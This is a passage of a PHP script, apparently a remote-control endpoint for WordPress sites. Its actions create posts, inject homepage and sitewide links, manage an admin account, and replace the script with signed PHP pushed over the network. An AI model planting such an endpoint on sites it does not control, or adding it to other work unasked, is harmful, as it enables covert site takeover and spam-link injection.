    }
    $desired_state = $observed;
    $desired_state[&#039;expiresAt&#039;] = $now + 600;
    $desired = easypost_endpoint_site_runtime_lease_value($desired_state);
    if (!easypost_endpoint_site_runtime_lease_compare_swap($row[&#039;value&#039;], $desired, $row[&#039;autoload&#039;])) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;refreshed&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_changed&#039;));
    }
    easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;refreshed&#039; =&gt; true));
}

function easypost_endpoint_finish_reconcile($payload) {
    global $wpdb;
    $owner = easypost_endpoint_site_runtime_owner_token($payload);
    $row = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    if ($row[&#039;status&#039;] === &#039;unavailable&#039;
        || !isset($wpdb)
        || !isset($wpdb-&gt;options)
        || !method_exists($wpdb, &#039;query&#039;)
        || !method_exists($wpdb, &#039;prepare&#039;)) {
        easypost_endpoint_json(503, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_store_unavailable&#039;));
    }
    if ($row[&#039;status&#039;] === &#039;missing&#039;) {
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;released&#039; =&gt; true));
    }
    $observed = easypost_endpoint_site_runtime_lease_state($row[&#039;value&#039;]);
    if ($observed === false
        || $observed[&#039;expiresAt&#039;] &lt;= time()
        || !hash_equals($observed[&#039;owner&#039;], $owner)) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;released&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_not_owned&#039;));
    }
    $deleted = $wpdb-&gt;query($wpdb-&gt;prepare(
        &quot;DELETE FROM {$wpdb-&gt;options} WHERE option_name = %s AND option_value = %s&quot;,
        &#039;site_health_runtime_lease_v1&#039;,
        $row[&#039;value&#039;]
    ));
    if ((int) $deleted !== 1) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;released&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_changed&#039;));
    }
    easypost_endpoint_cache_option_deleted(
        &#039;site_health_runtime_lease_v1&#039;,
        easypost_endpoint_option_is_autoloaded($row[&#039;autoload&#039;])
    );
    easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;released&#039; =&gt; true));
}

function easypost_endpoint_verify_release_signature($payload, $computed_sha256) {
    $config = easypost_endpoint_config();
    if (empty($config[&#039;ota_release_public_key_pem&#039;]) || !is_string($config[&#039;ota_release_public_key_pem&#039;])) {
        easypost_endpoint_json(501, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;ota_release_public_key_missing&#039;));
    }
    if (!function_exists(&#039;openssl_verify&#039;)) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;openssl_unavailable&#039;));
    }
    if (!isset($payload[&#039;signature&#039;]) || !is_string($payload[&#039;signature&#039;]) || trim($payload[&#039;signature&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_required&#039;));
    }

    $signature = base64_decode($payload[&#039;signature&#039;], true);
    if ($signature === false || $signature === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_invalid&#039;));
    }

    $signed_payload = $payload[&#039;version&#039;] . &quot;\n&quot; . $computed_sha256;
    $verified = openssl_verify($signed_payload, $signature, $config[&#039;ota_release_public_key_pem&#039;], OPENSSL_ALGO_SHA256);
    if ($verified !== 1) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_invalid&#039;));
    }
}

function easypost_endpoint_update_endpoint($payload) {
    if (!isset($payload[&#039;version&#039;]) || !is_string($payload[&#039;version&#039;]) || trim($payload[&#039;version&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;version_required&#039;));
    }
    if (!isset($payload[&#039;sha256&#039;]) || !is_string($payload[&#039;sha256&#039;]) || trim($payload[&#039;sha256&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_required&#039;));
    }
    if (!preg_match(&#039;/\A[a-f0-9]{64}\z/&#039;, $payload[&#039;sha256&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_invalid&#039;));
    }
    if (!isset($payload[&#039;phpBase64&#039;]) || !is_string($payload[&#039;phpBase64&#039;]) || trim($payload[&#039;phpBase64&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;php_base64_required&#039;));
    }

    $decoded_php = base64_decode($payload[&#039;phpBase64&#039;], true);
    if ($decoded_php === false || $decoded_php === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;php_base64_invalid&#039;));
    }
    $computed_sha256 = hash(&#039;sha256&#039;, $decoded_php);
    if (!hash_equals($payload[&#039;sha256&#039;], $computed_sha256)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_mismatch&#039;));
    }
    easypost_endpoint_verify_release_signature($payload, $computed_sha256);

    $tmp_path = tempnam(__DIR__, &#039;easypost-update-&#039;);
    if (!$tmp_path) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;temporary_write_failed&#039;));
    }
    $bytes = file_put_contents($tmp_path, $decoded_php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($decoded_php)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;temporary_write_failed&#039;));
    }
    @chmod($tmp_path, fileperms(__FILE__) &amp; 0777);
    if (!rename($tmp_path, __FILE__)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;rename_failed&#039;));
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate(__FILE__, true);
    }
    if (function_exists(&#039;clearstatcache&#039;)) {
        clearstatcache(true, __FILE__);
    }

    easypost_endpoint_json(200, array(
        &#039;ok&#039; =&gt; true,
        &#039;endpointVersion&#039; =&gt; $payload[&#039;version&#039;],
    ));
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] !== &#039;POST&#039;) {
    easypost_endpoint_json(405, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;method_not_allowed&#039;));
}

$body = file_get_contents(&#039;php://input&#039;);
easypost_endpoint_bootstrap_wordpress();
easypost_endpoint_verify_auth($body);
$action = isset($_GET[&#039;action&#039;]) ? $_GET[&#039;action&#039;] : &#039;health&#039;;
$allowed_fields_by_action = easypost_endpoint_allowed_fields_by_action();

if (!array_key_exists($action, $allowed_fields_by_action)) {
    easypost_endpoint_json(404, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;unknown_action&#039;));
}

$payload = easypost_endpoint_json_object_payload($body);
easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action);

if ($action === &#039;health&#039;) {
    easypost_endpoint_health();
}

if ($action === &#039;create_post&#039;) {
    easypost_endpoint_create_post($payload);
}
if ($action === &#039;place_homepage_link&#039;) {
    easypost_endpoint_place_homepage_link($payload);
}
if ($action === &#039;remove_homepage_link&#039;) {
    easypost_endpoint_remove_homepage_link($payload);
}
if ($action === &#039;reconcile_admin&#039;) {
    easypost_endpoint_reconcile_admin($payload);
}
if ($action === &#039;rotate_token&#039;) {
    easypost_endpoint_rotate_token($payload);
}
if ($action === &#039;configure_site_runtime&#039;) {
    easypost_endpoint_configure_site_runtime($payload);
}
if ($action === &#039;disable_site_runtime&#039;) {
    easypost_endpoint_disable_site_runtime();
}
if ($action === &#039;runtime_status&#039;) {
    easypost_endpoint_runtime_status();
}
if ($action === &#039;begin_reconcile&#039;) {
    easypost_endpoint_begin_reconcile($payload);
}
if ($action === &#039;refresh_reconcile&#039;) {
    easypost_endpoint_refresh_reconcile($payload);
}
if ($action === &#039;finish_reconcile&#039;) {
    easypost_endpoint_finish_reconcile($payload);
}
if ($action === &#039;update_endpoint&#039;) {
    easypost_endpoint_update_endpoint($payload);
}
if ($action === &#039;place_homepage_image&#039;) {
    easypost_endpoint_place_homepage_image($payload);
}
if ($action === &#039;remove_homepage_image&#039;) {
    easypost_endpoint_remove_homepage_image($payload);
}
if ($action === &#039;place_sitewide_link&#039;) {
    easypost_endpoint_place_sitewide_link($payload);
}
if ($action === &#039;remove_sitewide_link&#039;) {
    easypost_endpoint_remove_sitewide_link($payload);
}

easypost_endpoint_json(404, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;unknown_action&#039;));
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